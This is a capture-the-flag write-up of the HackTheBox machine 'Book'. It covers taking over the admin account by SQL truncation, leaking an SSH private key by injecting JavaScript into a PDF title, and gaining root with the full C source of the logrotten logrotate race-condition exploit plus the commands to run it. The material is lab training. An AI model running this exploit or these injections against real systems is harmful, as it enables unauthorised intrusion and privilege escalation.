HackTheBox Writeups

[HTB] – Book

Today's writeup is on Book, a medium Linux box released on February 22th 2020 on HackTheBox.

If you have VIP access on the website, you can access it here :


First things first, let's use nmap to scan for open ports

nmap -A -p- -T4

I am using basic options as usual :

  • -A : enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)
  • -p- : nmap scans every port
  • -T4 : allows you to adjust the Timing Template (according to your bandwidth, and the speed you're seeking)

We get the following output :

Starting Nmap 7.80 ( ) at 2020-04-21 17:02 CEST
Nmap scan report for
Host is up (0.10s latency).
Not shown: 65482 closed ports, 51 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 680.26 seconds

Nothing special to report, we have the regular 22 SSH and 80 HTTP ports open.

Moving on to the browser, we find a connection form, offering the possibility of creating an account.

Easily enough, we find a secret admin panel, without needing to dirbust, by searching

I created my self an account (and noticed that the email field checks the input format, it's not going to make injection easy).

We now have access to the library's website. By looking around we find 3 possible input forms (name changing, book submission, and admin contact).

I tried injecting in different ways but nothing worked. The only thing we have yet is the admin's email address (spoiler alert ;-P ).

First access

Let's go back to the registration form, because the goal is here to get an admin access to the website. After a while of trying to get any special feedback by using various types of SQL injections, and typed about 100 research with the keywords "SQL" and "Injection", I tripped over SQL Truncation. The concept is quit easy to understand : it's trying to overflow the form fields on the user end, to force values into specific fields of the database.

After a few blind tries, I found an interesting JavaScript function.

We see that an error is raised to warn the user that the field has to be filled, but that the number of characters should not exceed 10 for the name, and 20 for the email. Oddly, the conditions check if the names and emails are not empty, but not if there to long. That's our way in !

To perform the truncation, we're going to launch BURB and fill the fields as follow :

In burp, we go to the proxy tab, add 6 spaces behind the email address and type a random character.

What we did is overflow the username by adding 5 blank spaces and the email address to truncate, and overflow the email address by adding 6 blank spaces (to reach respectively 10 and 20 characters).

If you know forward the request, and login in the secret admin panel with [email protected] : test, you're logged in as admin.

Own User

It's nice to have an admin access here, but it's not of much use. We are now going to use the admins ability of interacting with books submitted by users. First go check you see you're user account created earlier. If not, you have to reset the box.

On the user side, create an empty pdf on your machine (touch empty.pdf).

In the submission form, submit it using this little JS injection as the title, that is going to write a system files content (the ssh private key in our case) in the pdf :

  • title :
  • author : dontcare
  • browse : empty.pdf

I did a previous request to get the user reader on the /etc/passwd file.

Now on the admin side, go to collections and download the Collections file. If everything went write, you should see something that looks like an SSH private key (at least a part of it).

For some reason a part of it is cut out, but that's not a problem. We can extract the text with from the pdfminer tool (

┌─|Log_s [23:00] :~ 
└──╼ $ python2 ~/Downloads/52878.pdf 
/home/leo/.local/lib/python2.7/site-packages/pdfminer/ UserWarning: On January 1st, 2020, pdfminer.six will stop supporting Python 2. Please upgrade to Python 3. For more information see
  warnings.warn('On January 1st, 2020, pdfminer.six will stop supporting Python 2. Please upgrade to Python 3. For '
-----BEGIN      RSA     PRIVATE KEY-----
-----END        RSA     PRIVATE KEY-----

Now just remove the few in excess blank spaces in the header and in the footer, and change this id_rsa file's rights to 600. No need to crack the passphrase, there is none.

┌─|Log_s [23:11] :~
└──╼ $ ssh -i id_rsa [email protected]                                                             
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Tue May  5 21:14:49 UTC 2020

  System load:  0.0                Processes:            142
  Usage of /:   27.3% of 19.56GB   Users logged in:      0
  Memory usage: 38%                IP address for ens33:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

114 packages can be updated.
0 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Tue May  5 16:21:25 2020 from
[email protected]:~$ cat user.txt 

Ladies and gentlemen, user flaged.

Own Root

Let's take a look around.

[email protected]:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)
[email protected]:~$ ls
backups  user.txt
[email protected]:~$ ls backups/

First thing we notice is a backup folder, that not usually in the home folder. It seems to contain an access log file.

After a while looking around, I finally discovered something interesting :

[email protected]:/etc$ ls | grep logrotate

Logrotate is program allowing to rotate log files (What ?? Shocker...) and handle compression. It is also known to be exploitable on a race condition. To make it short, race conditions occur when multiple programs, or portion of code running on different threads have access to a same resource. When at least two try to modify the resource at the same time, behavior is quiet unpredictable.

If you want a clearer explanation, I found this for you, that explains it easily :

So I searched for an exploit, and found this C program :

#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
#define DEBUG 1
int main(int argc, char* argv[] )
  int length, i = 0;
  int j = 0;
  int index = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];
  const char *payloadfile;
  const char *logfile;
  char *logpath;
  char *logpath2;
  char *targetpath;
  char *targetdir;
  char ch;
  const char *p;
  FILE *source, *target;    
  if(argc < 3)
          fprintf(stderr,"usage: %s   [targetdir]\n",argv[0]);
  logfile = argv[1];
  payloadfile = argv[2];
  for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
  index = j+1;
  p = &logfile[index];
  logpath = alloca(strlen(logfile)*sizeof(char));
  logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
  if(argc > 3)
        targetdir = argv[3];
        targetpath = alloca( ( (strlen(argv[3])) + (strlen(p)) +3) *sizeof(char));
        targetdir= TARGETDIR;
        targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
        targetpath[0] = '\0';
  for(j = 0; j < index; j++)
          logpath[j] = logfile[j];
  logpath[j-1] = '\0';
  logpath2[strlen(logpath)] = '2';
  logpath2[strlen(logpath)+1] = '\0';
  /*creating the INOTIFY instance*/
  fd = inotify_init();
  if( DEBUG == 1)
        printf("logfile: %s\n",logfile);
        printf("logpath: %s\n",logpath);
        printf("logpath2: %s\n",logpath2);
        printf("targetpath: %s\n",targetpath);
        printf("targetdir: %s\n",targetdir);
        printf("p: %s\n",p);
  /*checking for error*/
  if ( fd < 0 ) {
    perror( "inotify_init" );
  wd = inotify_add_watch( fd,logpath, IN_MOVED_FROM );
  length = read( fd, buffer, EVENT_BUF_LEN ); 
  while (i < length) {     
      struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];     if ( event->len ) {
      if ( event->mask & IN_MOVED_FROM ) {
          if(strcmp(event->name,p) == 0)
            /* printf( "Something is moved %s.\n", event->name ); */
            source = fopen(payloadfile, "r");       
            if(source == NULL)
            target = fopen(targetpath, "w");        
            if(target == NULL)
            while ((ch = fgetc(source)) != EOF)
                    fputc(ch, target);
            chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
            inotify_rm_watch( fd, wd );
            close( fd );
    i += EVENT_SIZE + event->len;
  /*removing from the watch list.*/
   inotify_rm_watch( fd, wd );
  /*closing the INOTIFY instance*/
   close( fd );

Now it's simple. We navigate to /tmp to work in peace. "nano logrotten.c", and past the code. Now compile it "gcc logrotten.c -o logrotten", and make it executable "chmod +x logrotten". Last thing is to create our payload, "nano payload". Easiest thing to do is "cat /root/root.txt > /tmp/flag.txt". Of course you could to a reverse shell to get a root shell, but that would overkill in our case.

[email protected]:~$ cd /tmp
[email protected]:/tmp$ nano logrotten.c
[email protected]:/tmp$ gcc logrotten.c -o logrotten
[email protected]:/tmp$ chmod +x logrotten
[email protected]:/tmp$ nano payload
[email protected]:/tmp$ ./logrotten ~/backups/access.log
usage: ./logrotten   [targetdir]
[email protected]:/tmp$ ./logrotten ~/backups/access.log payload 
logfile: /home/reader/backups/access.log
logpath: /home/reader/backups
logpath2: /home/reader/backups2
targetpath: /etc/bash_completion.d/access.log
targetdir: /etc/bash_completion.d
p: access.log

Now let's open another terminal and connect to the remote machine through ssh. Last step is to write a random entry in the acccess.log file.

[email protected]:~$ echo somethingRandom >> ~/backups/access.log

If everything went right, you should have gotten back you're prompt in your first terminal. After a few seconds :

[email protected]:/tmp$ ls
flag.txt  logrotten  logrotten.c  payload
[email protected]:/tmp$ cat flag.txt

Thanks for reading, I hope you enjoyed, and see you for another writeup 😉

Leave a Reply

Your email address will not be published. Required fields are marked *